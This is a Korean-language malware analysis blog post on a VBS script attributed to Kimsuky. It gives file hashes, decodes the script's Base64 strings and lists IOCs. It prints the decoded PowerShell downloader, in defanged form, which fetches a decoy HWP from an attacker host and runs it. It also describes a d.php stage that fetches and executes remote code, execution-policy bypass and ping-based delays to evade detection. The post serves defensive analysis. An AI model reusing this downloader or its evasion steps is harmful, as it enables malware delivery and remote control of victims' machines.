꿈을꾸는 파랑새

오늘은 북한 김수키(Kimsuky)에서 만든 악성코드인 a.js(가칭) 에 대해 알아보겠습니다.
파일명: a.js
사이즈: 1 MB
MD5: 927d3b32a981e6fed96c07a46ab1904e
SHA-1: 97ab16b075fc1e6d9017a4a51b1d12d4f989ab56
SHA-256: 010f9441add5cd1e48550a65c1496564fa62e709c7793d0ae7abee2951fc0eb5
해당 악성코드는 내부 Base64 문자열을 복호화해서 PowerShell 다운로드 스크립트를 하고 PowerShell로 외부 URL에서 1.hwp를 내려받아 %TEMP%\profile.hwp로 저장하고 실행을 하고 나서 URL d(.)php에서 추가 명령을 받아 Base64 디코딩 후 execute로 즉시 실행을 하는 방식을 따르고 있는 악성코드입니다.

분석 시작

VBS 스크립트로 만들어진 악성코드 내부
VBS 스크립트로 만들어진 악성코드 내부

wsadews():Base64 디코더
함수는 이름만 바꿔둔 Base64 복호화 함수
줄 바꿈,탭,공백 제거
Base64 문자열을 디코드
최종 평문 문자열 반환
Base64 디코딩 결과
$url = "hxxp://yulsohnyonsei(.)atwebpages(.)com/1(.)hwp"
$output = $env:TEMP (+) "\profile(.)hwp"
Invoke-We?Request -Uri $url -Ou(t)File $output
외부 URL에서 1.hwp 다운로드
%TEMP%\profile.hwp로 저장 후 파일을 실행
인것을 확인을 할 수가 있습니다.
sbWait(iSeconds):지연 실행
함수는 ping localhost -n N 방식으로 대기 시간 확보

CyberChef Base64 디코딩
CyberChef Base64 디코딩

실제 목적은 보통 다음 중 하나

로컬호스트로 일정 횟수 ping을 보내면서 시간을 지연시키는 방식
다운로드 완료까지 기다리기
보안 제품의 즉시 탐지를 피하기
행위 기반 탐지를 우회하기
5를 넣어 호출하므로 대략 몇 초 기다리고 다음 단계로 진행 시킴
임시 폴더 경로 획득
PowerShell 스크립트 생성
%TEMP%\24572.ps1 파일을 생성하고 위에서 디코드한 다운로드 코드를 기록
PowerShell 실행
powershell.exe 호출
-executionpolicy bypass 사용
다운로드된 문서 실행
잠시 기다린 뒤 %TEMP%\profile.hwp를 실행
한글 문서 확장자인 것을 보면 사용자를 속이는 미끼 문서(decoy) 일 가능성이 매우 큽니다.
원격 코드 수신 후 execute
d.php에 HTTP GET 요청
응답 본문을 받음
응답을 Base64 디코드
execute(...) 로 즉시 실행
공격자가 서버에서 명령하는 내용을 바꿔서
추가 다운로드
시스템 정보 탈취
명령 실행
지속성 확보
다른 악성코드 설치 등을 하기 위한 목적일 가능성이 큼
동적 제어 능력에 가까움
서버만 살아 있으면 공격자가 원하는 동작을 언제든 바꿀 수 있습니다.
IOC
네트워크 IOC
다운로드 URL:hxxp://yulsohnyonsei(.)atwewbpages(.)com/1(.)hwp
2차 코드 URL:hxxp://yulsohnyonsei(.)atwewbpages.com/d(.)php
파일 IOC
%TEMP%\24572.ps1
다운로드 파일:%TEMP%\profile.hwp
행위 기반
On Error Resume Next:예외 숨김, 분석 방해
Base64 디코딩:문자열 은닉
powershell.exe -executionpolicy bypass:정책 우회
Invoke-WebRequest:외부 파일 다운로드
%TEMP% 사용:임시 경로 사용
MSXML2.ServerXMLHTTP.6.0:HTTP 통신
execute(...):원격 코드 즉시 실행
ESET-NOD32:VBS/Kimsuky.U Trojan 등으로 탐지하고 있으니 항상 조심하시길 바랍니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band